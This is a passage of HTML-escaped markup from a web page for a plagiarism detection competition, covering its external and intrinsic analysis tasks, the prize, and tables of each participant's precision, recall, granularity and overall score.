0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Final Results&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#winner" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Winner&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#corpus" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Competition Corpus&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#measures" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Performance Measures&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#registration" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Registration&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#submission" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Result Submission&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#network" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Participant Network&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#rules" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Competition Rules&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#faq" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;FAQ&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="#organizer" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0)"&gt;&lt;font size="2"&gt;Competition Organization&lt;/font&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;/font&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;h3 id="tasks" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Competition Tasks&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;The competition divides into two tasks:&lt;/font&gt;&lt;/p&gt;&lt;ul style="margin-right: 0px; margin-left: 20px; list-style-type: square"&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;External Plagiarism Analysis.&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Given a set of suspicious documents and a set of source documents the task is to find all text passages in the suspicious documents which have been plagiarized and the corresponding text passages in the source documents.&lt;/font&gt;&lt;/li&gt;&lt;li style="margin-right: 0px; margin-left: 0px"&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Intrinsic Plagiarism Analysis.&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Given a set of suspicious documents the task is to identify all plagiarized text passages, e.g., by detecting writing style breaches. The comparison of a suspicious document with other documents is not allowed in this task.&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;font size="2"&gt;Participants may submit results for one or both of the tasks.&lt;/font&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;h3 id="award" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Award&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;Yahoo! Research will award a cash prize of 500 Euros to the winner of the competition.&lt;/font&gt;&lt;/p&gt;&lt;h3 id="results" style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;&lt;font size="2"&gt;Final Results&lt;/font&gt;&lt;/b&gt;&lt;/h3&gt;&lt;p class="bodytext" style="margin-right: 0px; margin-left: 0px; text-align: justify"&gt;&lt;font size="2"&gt;In total, we received submissions from 13 out of 21 registered participants. There were 10 submissions for the external plagiarism analysis task and 4 for the intrinsic plagiarism analysis task (1 participant submitted results for both tasks). The competition corpus contains 46,946 plagiarism cases, 36,475 of them in the corpus for the external analysis task, and the remaining 10,471 in the corpus for the intrinsic analysis task.&amp;nbsp;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;The following three tables summarize the detection performances of the participants: the first table lists the participants who took part in the external analysis task, the second table lists the participants who took part in the intrinsic analysis task, and the third table lists each participant's overall performance in both tasks. The participants are ranked according to the overal score, which is computed based on the F-measure, precision, recall, and granularity.&amp;nbsp;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;/font&gt;&lt;i style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;How to interpret the results?&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;Take the first row of the first table as an example, and concentrate on the columns Precision, Recall, and Granularity. In this case the participant's precision is 0.7418 which means that 74.18% of his detections are correct, i.e., 25.82% of his detections are incorrect. The recall, on the other hand, is 0.6585 which means that the participant detected 65.85% of the plagiarism which is actually in the test collection, and 34.15% of the plagiarism has gone unnoticed. The granularity value is about 1.0 which, roughly speaking, means that one can expect that the participant's algorithm will detect each plagiarism case at most once.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;The column F-measure is a combination of Precision and Recall. Note that here, the absolute values have no semantics attached; it can only be said that the closer the value is to 1, the better the participant's performance is. Likewise, the Overall score is a combination of F-measure and Granularity, so that, again, values close to 1 indicate good performance. In particular, these values&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;cannot&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;be interpreted as percentages. We computed these values to allow for an absolute ranking among the participants which would not have been possible based on Precision, Recall, and Granularity only. The latter, however, are what counts.&amp;nbsp;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;/font&gt;&lt;/p&gt;&lt;table style="margin-right: 0px; margin-left: 0px" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr class="first" style="margin-right: 0px; margin-left: 0px"&gt;&lt;th colspan="7" style="margin-right: 0px; margin-left: 0px; text-align: center"&gt;&lt;font size="2"&gt;External Plagiarism Analysis Task&lt;/font&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr class="last" style="margin-right: 0px; margin-left: 0px"&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Rank&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Overall score&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;F-measure&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Precision&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Recall&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Granularity&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Participant&lt;/font&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;tfoot style="margin-right: 0px; margin-left: 0px"&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tfoot&gt;&lt;tbody style="margin-right: 0px; margin-left: 0px"&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6957&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6976&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.7418&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6585&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.0038&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;C. Grozea&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Fraunhofer FIRST, Germany&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;2&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6093&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6192&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.5573&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6967&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.0228&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;J. Kasprzak, M. Brandejs, and M. Křipač&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Masaryk University, Czech Republic&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;3&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6041&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6491&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6727&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6272&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.1060&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;C. Basile*, D. Benedetto°, E. Caglioti°, and M. Degli Esposti*&lt;br style="margin-right: 0px; margin-left: 0px"&gt;*Università di Bologna and °Università La Sapienza, Italy&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;4&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.3045&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.5286&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6689&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4370&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;2.3317&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;Y. A. Palkovskii, A. V. Belov, and I. A. Muzika&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Zhytomyr State University, Ukraine&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;5&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1885&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4603&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6051&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.3714&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;4.4354&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;M. Granitzer, M. Muhr, M. Zechner, and R. Kern&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Know-Center Graz, Austria&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;6&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1422&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6190&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.7473&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.5284&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;19.4327&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;V. A. Scherbinin* and S. Butakov°&lt;br style="margin-right: 0px; margin-left: 0px"&gt;*American University of Nigeria, Nigeria, and&lt;br style="margin-right: 0px; margin-left: 0px"&gt;°Solbridge International School of Business, South Korea&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;7&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0649&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1736&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6552&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1001&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;5.3966&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;R. C. Pereira, V. P. Moreira, and R. Galante&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Universidade Federal do Rio Grande do Sul, Brazil&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;8&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0264&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0265&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0136&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4586&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.0068&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;E. Vallés Balaguer, using WCopyFind&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Private, Spain&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;9&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0187&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0553&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0290&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.6048&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;6.7780&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;J. A. Malcolm, P. C. R. Lane, and A. Rainer&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Ferret, University of Hertfordshire, UK&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;10&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0117&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0226&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.3684&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.0116&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;2.8256&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;J. Allen&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Southern Methodist University in Dallas, USA&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;font size="2"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;/font&gt;&lt;table style="margin-right: 0px; margin-left: 0px" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr class="first" style="margin-right: 0px; margin-left: 0px"&gt;&lt;th colspan="7" style="margin-right: 0px; margin-left: 0px; text-align: center"&gt;&lt;font size="2"&gt;Intrinsic Plagiarism Analysis Task&lt;/font&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr class="last" style="margin-right: 0px; margin-left: 0px"&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Rank&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Overall score&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;F-measure&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Precision&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Recall&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Granularity&lt;/font&gt;&lt;/th&gt;&lt;th style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="2"&gt;Participant&lt;/font&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;tfoot style="margin-right: 0px; margin-left: 0px"&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tfoot&gt;&lt;tbody style="margin-right: 0px; margin-left: 0px"&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.2462&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.3086&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.2321&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.4607&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.3839&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;E. Stamatatos&lt;br style="margin-right: 0px; margin-left: 0px"&gt;University of the Aegean, Greece&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;2&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1955&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1956&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1091&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.9437&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.0007&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;B. Hagbi and M. Koppel&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Bar Ilan University, Israel&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;3&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1766&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.2286&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1968&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.2724&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.4524&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: left; vertical-align: top"&gt;&lt;font size="2"&gt;M. Granitzer, M. Muhr, M. Zechner, and R. Kern&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Know-Center Graz, Austria&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="margin-right: 0px; margin-left: 0px"&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;4&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1219&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1750&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.1036&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;0.5630&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; margin-left: 0px; text-align: center; vertical-align: top"&gt;&lt;font size="2"&gt;1.7049&lt;/font&gt;&lt;/td&gt;&lt;td style="margin-right: 0px; 